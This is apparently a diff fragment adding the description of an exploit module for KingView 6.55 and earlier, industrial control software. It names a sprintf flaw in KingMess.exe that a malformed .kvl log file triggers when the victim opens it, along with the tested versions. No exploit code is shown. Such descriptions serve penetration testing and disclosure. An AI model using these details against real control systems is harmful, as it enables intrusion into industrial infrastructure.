+					This module exploits a vulnerability found in KingView <= 6.55. It exists in
+				the KingMess.exe application when handling log files, due to the insecure usage of
+				sprintf. This module uses a malformed .kvl file which must be opened by the victim
+				via the KingMess.exe application, through the 'Browse Log Files' option. The module
+				has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over
+				Windows XP SP3.
